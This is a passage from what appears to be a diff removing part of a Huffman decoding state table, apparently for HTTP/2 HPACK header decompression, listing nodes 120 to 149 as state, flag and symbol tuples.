HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 230), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 129), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 132), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 133), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 134), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 136), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 146), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 154), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 156), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 160), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 163), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 164), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 169), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 170), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 173), - - # Node 120 - (2, HUFFMAN_EMIT_SYMBOL, 230), - (9, HUFFMAN_EMIT_SYMBOL, 230), - (23, HUFFMAN_EMIT_SYMBOL, 230), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 230), - (1, HUFFMAN_EMIT_SYMBOL, 129), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 129), - (1, HUFFMAN_EMIT_SYMBOL, 132), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 132), - (1, HUFFMAN_EMIT_SYMBOL, 133), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 133), - (1, HUFFMAN_EMIT_SYMBOL, 134), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 134), - (1, HUFFMAN_EMIT_SYMBOL, 136), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 136), - (1, HUFFMAN_EMIT_SYMBOL, 146), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 146), - - # Node 121 - (3, HUFFMAN_EMIT_SYMBOL, 230), - (6, HUFFMAN_EMIT_SYMBOL, 230), - (10, HUFFMAN_EMIT_SYMBOL, 230), - (15, HUFFMAN_EMIT_SYMBOL, 230), - (24, HUFFMAN_EMIT_SYMBOL, 230), - (31, HUFFMAN_EMIT_SYMBOL, 230), - (41, HUFFMAN_EMIT_SYMBOL, 230), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 230), - (2, HUFFMAN_EMIT_SYMBOL, 129), - (9, HUFFMAN_EMIT_SYMBOL, 129), - (23, HUFFMAN_EMIT_SYMBOL, 129), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 129), - (2, HUFFMAN_EMIT_SYMBOL, 132), - (9, HUFFMAN_EMIT_SYMBOL, 132), - (23, HUFFMAN_EMIT_SYMBOL, 132), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 132), - - # Node 122 - (3, HUFFMAN_EMIT_SYMBOL, 129), - (6, HUFFMAN_EMIT_SYMBOL, 129), - (10, HUFFMAN_EMIT_SYMBOL, 129), - (15, HUFFMAN_EMIT_SYMBOL, 129), - (24, HUFFMAN_EMIT_SYMBOL, 129), - (31, HUFFMAN_EMIT_SYMBOL, 129), - (41, HUFFMAN_EMIT_SYMBOL, 129), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 129), - (3, HUFFMAN_EMIT_SYMBOL, 132), - (6, HUFFMAN_EMIT_SYMBOL, 132), - (10, HUFFMAN_EMIT_SYMBOL, 132), - (15, HUFFMAN_EMIT_SYMBOL, 132), - (24, HUFFMAN_EMIT_SYMBOL, 132), - (31, HUFFMAN_EMIT_SYMBOL, 132), - (41, HUFFMAN_EMIT_SYMBOL, 132), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 132), - - # Node 123 - (2, HUFFMAN_EMIT_SYMBOL, 133), - (9, HUFFMAN_EMIT_SYMBOL, 133), - (23, HUFFMAN_EMIT_SYMBOL, 133), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 133), - (2, HUFFMAN_EMIT_SYMBOL, 134), - (9, HUFFMAN_EMIT_SYMBOL, 134), - (23, HUFFMAN_EMIT_SYMBOL, 134), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 134), - (2, HUFFMAN_EMIT_SYMBOL, 136), - (9, HUFFMAN_EMIT_SYMBOL, 136), - (23, HUFFMAN_EMIT_SYMBOL, 136), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 136), - (2, HUFFMAN_EMIT_SYMBOL, 146), - (9, HUFFMAN_EMIT_SYMBOL, 146), - (23, HUFFMAN_EMIT_SYMBOL, 146), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 146), - - # Node 124 - (3, HUFFMAN_EMIT_SYMBOL, 133), - (6, HUFFMAN_EMIT_SYMBOL, 133), - (10, HUFFMAN_EMIT_SYMBOL, 133), - (15, HUFFMAN_EMIT_SYMBOL, 133), - (24, HUFFMAN_EMIT_SYMBOL, 133), - (31, HUFFMAN_EMIT_SYMBOL, 133), - (41, HUFFMAN_EMIT_SYMBOL, 133), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 133), - (3, HUFFMAN_EMIT_SYMBOL, 134), - (6, HUFFMAN_EMIT_SYMBOL, 134), - (10, HUFFMAN_EMIT_SYMBOL, 134), - (15, HUFFMAN_EMIT_SYMBOL, 134), - (24, HUFFMAN_EMIT_SYMBOL, 134), - (31, HUFFMAN_EMIT_SYMBOL, 134), - (41, HUFFMAN_EMIT_SYMBOL, 134), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 134), - - # Node 125 - (3, HUFFMAN_EMIT_SYMBOL, 136), - (6, HUFFMAN_EMIT_SYMBOL, 136), - (10, HUFFMAN_EMIT_SYMBOL, 136), - (15, HUFFMAN_EMIT_SYMBOL, 136), - (24, HUFFMAN_EMIT_SYMBOL, 136), - (31, HUFFMAN_EMIT_SYMBOL, 136), - (41, HUFFMAN_EMIT_SYMBOL, 136), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 136), - (3, HUFFMAN_EMIT_SYMBOL, 146), - (6, HUFFMAN_EMIT_SYMBOL, 146), - (10, HUFFMAN_EMIT_SYMBOL, 146), - (15, HUFFMAN_EMIT_SYMBOL, 146), - (24, HUFFMAN_EMIT_SYMBOL, 146), - (31, HUFFMAN_EMIT_SYMBOL, 146), - (41, HUFFMAN_EMIT_SYMBOL, 146), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 146), - - # Node 126 - (1, HUFFMAN_EMIT_SYMBOL, 154), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 154), - (1, HUFFMAN_EMIT_SYMBOL, 156), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 156), - (1, HUFFMAN_EMIT_SYMBOL, 160), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 160), - (1, HUFFMAN_EMIT_SYMBOL, 163), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 163), - (1, HUFFMAN_EMIT_SYMBOL, 164), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 164), - (1, HUFFMAN_EMIT_SYMBOL, 169), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 169), - (1, HUFFMAN_EMIT_SYMBOL, 170), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 170), - (1, HUFFMAN_EMIT_SYMBOL, 173), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 173), - - # Node 127 - (2, HUFFMAN_EMIT_SYMBOL, 154), - (9, HUFFMAN_EMIT_SYMBOL, 154), - (23, HUFFMAN_EMIT_SYMBOL, 154), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 154), - (2, HUFFMAN_EMIT_SYMBOL, 156), - (9, HUFFMAN_EMIT_SYMBOL, 156), - (23, HUFFMAN_EMIT_SYMBOL, 156), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 156), - (2, HUFFMAN_EMIT_SYMBOL, 160), - (9, HUFFMAN_EMIT_SYMBOL, 160), - (23, HUFFMAN_EMIT_SYMBOL, 160), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 160), - (2, HUFFMAN_EMIT_SYMBOL, 163), - (9, HUFFMAN_EMIT_SYMBOL, 163), - (23, HUFFMAN_EMIT_SYMBOL, 163), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 163), - - # Node 128 - (3, HUFFMAN_EMIT_SYMBOL, 154), - (6, HUFFMAN_EMIT_SYMBOL, 154), - (10, HUFFMAN_EMIT_SYMBOL, 154), - (15, HUFFMAN_EMIT_SYMBOL, 154), - (24, HUFFMAN_EMIT_SYMBOL, 154), - (31, HUFFMAN_EMIT_SYMBOL, 154), - (41, HUFFMAN_EMIT_SYMBOL, 154), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 154), - (3, HUFFMAN_EMIT_SYMBOL, 156), - (6, HUFFMAN_EMIT_SYMBOL, 156), - (10, HUFFMAN_EMIT_SYMBOL, 156), - (15, HUFFMAN_EMIT_SYMBOL, 156), - (24, HUFFMAN_EMIT_SYMBOL, 156), - (31, HUFFMAN_EMIT_SYMBOL, 156), - (41, HUFFMAN_EMIT_SYMBOL, 156), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 156), - - # Node 129 - (3, HUFFMAN_EMIT_SYMBOL, 160), - (6, HUFFMAN_EMIT_SYMBOL, 160), - (10, HUFFMAN_EMIT_SYMBOL, 160), - (15, HUFFMAN_EMIT_SYMBOL, 160), - (24, HUFFMAN_EMIT_SYMBOL, 160), - (31, HUFFMAN_EMIT_SYMBOL, 160), - (41, HUFFMAN_EMIT_SYMBOL, 160), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 160), - (3, HUFFMAN_EMIT_SYMBOL, 163), - (6, HUFFMAN_EMIT_SYMBOL, 163), - (10, HUFFMAN_EMIT_SYMBOL, 163), - (15, HUFFMAN_EMIT_SYMBOL, 163), - (24, HUFFMAN_EMIT_SYMBOL, 163), - (31, HUFFMAN_EMIT_SYMBOL, 163), - (41, HUFFMAN_EMIT_SYMBOL, 163), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 163), - - # Node 130 - (2, HUFFMAN_EMIT_SYMBOL, 164), - (9, HUFFMAN_EMIT_SYMBOL, 164), - (23, HUFFMAN_EMIT_SYMBOL, 164), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 164), - (2, HUFFMAN_EMIT_SYMBOL, 169), - (9, HUFFMAN_EMIT_SYMBOL, 169), - (23, HUFFMAN_EMIT_SYMBOL, 169), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 169), - (2, HUFFMAN_EMIT_SYMBOL, 170), - (9, HUFFMAN_EMIT_SYMBOL, 170), - (23, HUFFMAN_EMIT_SYMBOL, 170), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 170), - (2, HUFFMAN_EMIT_SYMBOL, 173), - (9, HUFFMAN_EMIT_SYMBOL, 173), - (23, HUFFMAN_EMIT_SYMBOL, 173), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 173), - - # Node 131 - (3, HUFFMAN_EMIT_SYMBOL, 164), - (6, HUFFMAN_EMIT_SYMBOL, 164), - (10, HUFFMAN_EMIT_SYMBOL, 164), - (15, HUFFMAN_EMIT_SYMBOL, 164), - (24, HUFFMAN_EMIT_SYMBOL, 164), - (31, HUFFMAN_EMIT_SYMBOL, 164), - (41, HUFFMAN_EMIT_SYMBOL, 164), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 164), - (3, HUFFMAN_EMIT_SYMBOL, 169), - (6, HUFFMAN_EMIT_SYMBOL, 169), - (10, HUFFMAN_EMIT_SYMBOL, 169), - (15, HUFFMAN_EMIT_SYMBOL, 169), - (24, HUFFMAN_EMIT_SYMBOL, 169), - (31, HUFFMAN_EMIT_SYMBOL, 169), - (41, HUFFMAN_EMIT_SYMBOL, 169), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 169), - - # Node 132 - (3, HUFFMAN_EMIT_SYMBOL, 170), - (6, HUFFMAN_EMIT_SYMBOL, 170), - (10, HUFFMAN_EMIT_SYMBOL, 170), - (15, HUFFMAN_EMIT_SYMBOL, 170), - (24, HUFFMAN_EMIT_SYMBOL, 170), - (31, HUFFMAN_EMIT_SYMBOL, 170), - (41, HUFFMAN_EMIT_SYMBOL, 170), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 170), - (3, HUFFMAN_EMIT_SYMBOL, 173), - (6, HUFFMAN_EMIT_SYMBOL, 173), - (10, HUFFMAN_EMIT_SYMBOL, 173), - (15, HUFFMAN_EMIT_SYMBOL, 173), - (24, HUFFMAN_EMIT_SYMBOL, 173), - (31, HUFFMAN_EMIT_SYMBOL, 173), - (41, HUFFMAN_EMIT_SYMBOL, 173), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 173), - - # Node 133 - (137, 0, 0), - (138, 0, 0), - (140, 0, 0), - (141, 0, 0), - (144, 0, 0), - (145, 0, 0), - (147, 0, 0), - (150, 0, 0), - (156, 0, 0), - (159, 0, 0), - (163, 0, 0), - (166, 0, 0), - (171, 0, 0), - (174, 0, 0), - (181, 0, 0), - (190, 0, 0), - - # Node 134 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 178), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 181), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 185), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 186), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 187), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 189), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 190), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 196), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 198), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 228), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 232), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 233), - (148, 0, 0), - (149, 0, 0), - (151, 0, 0), - (152, 0, 0), - - # Node 135 - (1, HUFFMAN_EMIT_SYMBOL, 178), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 178), - (1, HUFFMAN_EMIT_SYMBOL, 181), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 181), - (1, HUFFMAN_EMIT_SYMBOL, 185), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 185), - (1, HUFFMAN_EMIT_SYMBOL, 186), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 186), - (1, HUFFMAN_EMIT_SYMBOL, 187), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 187), - (1, HUFFMAN_EMIT_SYMBOL, 189), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 189), - (1, HUFFMAN_EMIT_SYMBOL, 190), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 190), - (1, HUFFMAN_EMIT_SYMBOL, 196), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 196), - - # Node 136 - (2, HUFFMAN_EMIT_SYMBOL, 178), - (9, HUFFMAN_EMIT_SYMBOL, 178), - (23, HUFFMAN_EMIT_SYMBOL, 178), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 178), - (2, HUFFMAN_EMIT_SYMBOL, 181), - (9, HUFFMAN_EMIT_SYMBOL, 181), - (23, HUFFMAN_EMIT_SYMBOL, 181), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 181), - (2, HUFFMAN_EMIT_SYMBOL, 185), - (9, HUFFMAN_EMIT_SYMBOL, 185), - (23, HUFFMAN_EMIT_SYMBOL, 185), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 185), - (2, HUFFMAN_EMIT_SYMBOL, 186), - (9, HUFFMAN_EMIT_SYMBOL, 186), - (23, HUFFMAN_EMIT_SYMBOL, 186), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 186), - - # Node 137 - (3, HUFFMAN_EMIT_SYMBOL, 178), - (6, HUFFMAN_EMIT_SYMBOL, 178), - (10, HUFFMAN_EMIT_SYMBOL, 178), - (15, HUFFMAN_EMIT_SYMBOL, 178), - (24, HUFFMAN_EMIT_SYMBOL, 178), - (31, HUFFMAN_EMIT_SYMBOL, 178), - (41, HUFFMAN_EMIT_SYMBOL, 178), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 178), - (3, HUFFMAN_EMIT_SYMBOL, 181), - (6, HUFFMAN_EMIT_SYMBOL, 181), - (10, HUFFMAN_EMIT_SYMBOL, 181), - (15, HUFFMAN_EMIT_SYMBOL, 181), - (24, HUFFMAN_EMIT_SYMBOL, 181), - (31, HUFFMAN_EMIT_SYMBOL, 181), - (41, HUFFMAN_EMIT_SYMBOL, 181), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 181), - - # Node 138 - (3, HUFFMAN_EMIT_SYMBOL, 185), - (6, HUFFMAN_EMIT_SYMBOL, 185), - (10, HUFFMAN_EMIT_SYMBOL, 185), - (15, HUFFMAN_EMIT_SYMBOL, 185), - (24, HUFFMAN_EMIT_SYMBOL, 185), - (31, HUFFMAN_EMIT_SYMBOL, 185), - (41, HUFFMAN_EMIT_SYMBOL, 185), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 185), - (3, HUFFMAN_EMIT_SYMBOL, 186), - (6, HUFFMAN_EMIT_SYMBOL, 186), - (10, HUFFMAN_EMIT_SYMBOL, 186), - (15, HUFFMAN_EMIT_SYMBOL, 186), - (24, HUFFMAN_EMIT_SYMBOL, 186), - (31, HUFFMAN_EMIT_SYMBOL, 186), - (41, HUFFMAN_EMIT_SYMBOL, 186), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 186), - - # Node 139 - (2, HUFFMAN_EMIT_SYMBOL, 187), - (9, HUFFMAN_EMIT_SYMBOL, 187), - (23, HUFFMAN_EMIT_SYMBOL, 187), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 187), - (2, HUFFMAN_EMIT_SYMBOL, 189), - (9, HUFFMAN_EMIT_SYMBOL, 189), - (23, HUFFMAN_EMIT_SYMBOL, 189), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 189), - (2, HUFFMAN_EMIT_SYMBOL, 190), - (9, HUFFMAN_EMIT_SYMBOL, 190), - (23, HUFFMAN_EMIT_SYMBOL, 190), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 190), - (2, HUFFMAN_EMIT_SYMBOL, 196), - (9, HUFFMAN_EMIT_SYMBOL, 196), - (23, HUFFMAN_EMIT_SYMBOL, 196), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 196), - - # Node 140 - (3, HUFFMAN_EMIT_SYMBOL, 187), - (6, HUFFMAN_EMIT_SYMBOL, 187), - (10, HUFFMAN_EMIT_SYMBOL, 187), - (15, HUFFMAN_EMIT_SYMBOL, 187), - (24, HUFFMAN_EMIT_SYMBOL, 187), - (31, HUFFMAN_EMIT_SYMBOL, 187), - (41, HUFFMAN_EMIT_SYMBOL, 187), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 187), - (3, HUFFMAN_EMIT_SYMBOL, 189), - (6, HUFFMAN_EMIT_SYMBOL, 189), - (10, HUFFMAN_EMIT_SYMBOL, 189), - (15, HUFFMAN_EMIT_SYMBOL, 189), - (24, HUFFMAN_EMIT_SYMBOL, 189), - (31, HUFFMAN_EMIT_SYMBOL, 189), - (41, HUFFMAN_EMIT_SYMBOL, 189), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 189), - - # Node 141 - (3, HUFFMAN_EMIT_SYMBOL, 190), - (6, HUFFMAN_EMIT_SYMBOL, 190), - (10, HUFFMAN_EMIT_SYMBOL, 190), - (15, HUFFMAN_EMIT_SYMBOL, 190), - (24, HUFFMAN_EMIT_SYMBOL, 190), - (31, HUFFMAN_EMIT_SYMBOL, 190), - (41, HUFFMAN_EMIT_SYMBOL, 190), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 190), - (3, HUFFMAN_EMIT_SYMBOL, 196), - (6, HUFFMAN_EMIT_SYMBOL, 196), - (10, HUFFMAN_EMIT_SYMBOL, 196), - (15, HUFFMAN_EMIT_SYMBOL, 196), - (24, HUFFMAN_EMIT_SYMBOL, 196), - (31, HUFFMAN_EMIT_SYMBOL, 196), - (41, HUFFMAN_EMIT_SYMBOL, 196), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 196), - - # Node 142 - (1, HUFFMAN_EMIT_SYMBOL, 198), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 198), - (1, HUFFMAN_EMIT_SYMBOL, 228), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 228), - (1, HUFFMAN_EMIT_SYMBOL, 232), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 232), - (1, HUFFMAN_EMIT_SYMBOL, 233), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 233), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 1), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 135), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 137), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 138), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 139), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 140), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 141), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 143), - - # Node 143 - (2, HUFFMAN_EMIT_SYMBOL, 198), - (9, HUFFMAN_EMIT_SYMBOL, 198), - (23, HUFFMAN_EMIT_SYMBOL, 198), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 198), - (2, HUFFMAN_EMIT_SYMBOL, 228), - (9, HUFFMAN_EMIT_SYMBOL, 228), - (23, HUFFMAN_EMIT_SYMBOL, 228), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 228), - (2, HUFFMAN_EMIT_SYMBOL, 232), - (9, HUFFMAN_EMIT_SYMBOL, 232), - (23, HUFFMAN_EMIT_SYMBOL, 232), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 232), - (2, HUFFMAN_EMIT_SYMBOL, 233), - (9, HUFFMAN_EMIT_SYMBOL, 233), - (23, HUFFMAN_EMIT_SYMBOL, 233), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 233), - - # Node 144 - (3, HUFFMAN_EMIT_SYMBOL, 198), - (6, HUFFMAN_EMIT_SYMBOL, 198), - (10, HUFFMAN_EMIT_SYMBOL, 198), - (15, HUFFMAN_EMIT_SYMBOL, 198), - (24, HUFFMAN_EMIT_SYMBOL, 198), - (31, HUFFMAN_EMIT_SYMBOL, 198), - (41, HUFFMAN_EMIT_SYMBOL, 198), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 198), - (3, HUFFMAN_EMIT_SYMBOL, 228), - (6, HUFFMAN_EMIT_SYMBOL, 228), - (10, HUFFMAN_EMIT_SYMBOL, 228), - (15, HUFFMAN_EMIT_SYMBOL, 228), - (24, HUFFMAN_EMIT_SYMBOL, 228), - (31, HUFFMAN_EMIT_SYMBOL, 228), - (41, HUFFMAN_EMIT_SYMBOL, 228), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 228), - - # Node 145 - (3, HUFFMAN_EMIT_SYMBOL, 232), - (6, HUFFMAN_EMIT_SYMBOL, 232), - (10, HUFFMAN_EMIT_SYMBOL, 232), - (15, HUFFMAN_EMIT_SYMBOL, 232), - (24, HUFFMAN_EMIT_SYMBOL, 232), - (31, HUFFMAN_EMIT_SYMBOL, 232), - (41, HUFFMAN_EMIT_SYMBOL, 232), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 232), - (3, HUFFMAN_EMIT_SYMBOL, 233), - (6, HUFFMAN_EMIT_SYMBOL, 233), - (10, HUFFMAN_EMIT_SYMBOL, 233), - (15, HUFFMAN_EMIT_SYMBOL, 233), - (24, HUFFMAN_EMIT_SYMBOL, 233), - (31, HUFFMAN_EMIT_SYMBOL, 233), - (41, HUFFMAN_EMIT_SYMBOL, 233), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 233), - - # Node 146 - (1, HUFFMAN_EMIT_SYMBOL, 1), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 1), - (1, HUFFMAN_EMIT_SYMBOL, 135), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 135), - (1, HUFFMAN_EMIT_SYMBOL, 137), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 137), - (1, HUFFMAN_EMIT_SYMBOL, 138), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 138), - (1, HUFFMAN_EMIT_SYMBOL, 139), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 139), - (1, HUFFMAN_EMIT_SYMBOL, 140), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 140), - (1, HUFFMAN_EMIT_SYMBOL, 141), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 141), - (1, HUFFMAN_EMIT_SYMBOL, 143), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 143), - - # Node 147 - (2, HUFFMAN_EMIT_SYMBOL, 1), - (9, HUFFMAN_EMIT_SYMBOL, 1), - (23, HUFFMAN_EMIT_SYMBOL, 1), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 1), - (2, HUFFMAN_EMIT_SYMBOL, 135), - (9, HUFFMAN_EMIT_SYMBOL, 135), - (23, HUFFMAN_EMIT_SYMBOL, 135), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 135), - (2, HUFFMAN_EMIT_SYMBOL, 137), - (9, HUFFMAN_EMIT_SYMBOL, 137), - (23, HUFFMAN_EMIT_SYMBOL, 137), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 137), - (2, HUFFMAN_EMIT_SYMBOL, 138), - (9, HUFFMAN_EMIT_SYMBOL, 138), - (23, HUFFMAN_EMIT_SYMBOL, 138), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 138), - - # Node 148 - (3, HUFFMAN_EMIT_SYMBOL, 1), - (6, HUFFMAN_EMIT_SYMBOL, 1), - (10, HUFFMAN_EMIT_SYMBOL, 1), - (15, HUFFMAN_EMIT_SYMBOL, 1), - (24, HUFFMAN_EMIT_SYMBOL, 1), - (31, HUFFMAN_EMIT_SYMBOL, 1), - (41, HUFFMAN_EMIT_SYMBOL, 1), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 1), - (3, HUFFMAN_EMIT_SYMBOL, 135), - (6, HUFFMAN_EMIT_SYMBOL, 135), - (10, HUFFMAN_EMIT_SYMBOL, 135), - (15, HUFFMAN_EMIT_SYMBOL, 135), - (24, HUFFMAN_EMIT_SYMBOL, 135), - (31, HUFFMAN_EMIT_SYMBOL, 135), - (41, HUFFMAN_EMIT_SYMBOL, 135), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 135), - - # Node 149 - (3, HUFFMAN_EMIT_SYMBOL, 137), - (6, HUFFMAN_EMIT_SYMBOL, 137), - (10, HUFFMAN_EMIT_SYMBOL, 137), - (15, HUFFMAN_EMIT_SYMBOL, 137), - (24, HUFFMAN_EMIT_SYMBOL, 137), - (31, HUFFMAN_EMIT_SYMBOL, 137), - (41, HUFFMAN_EMIT_SYMBOL, 137), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 137), - (3, 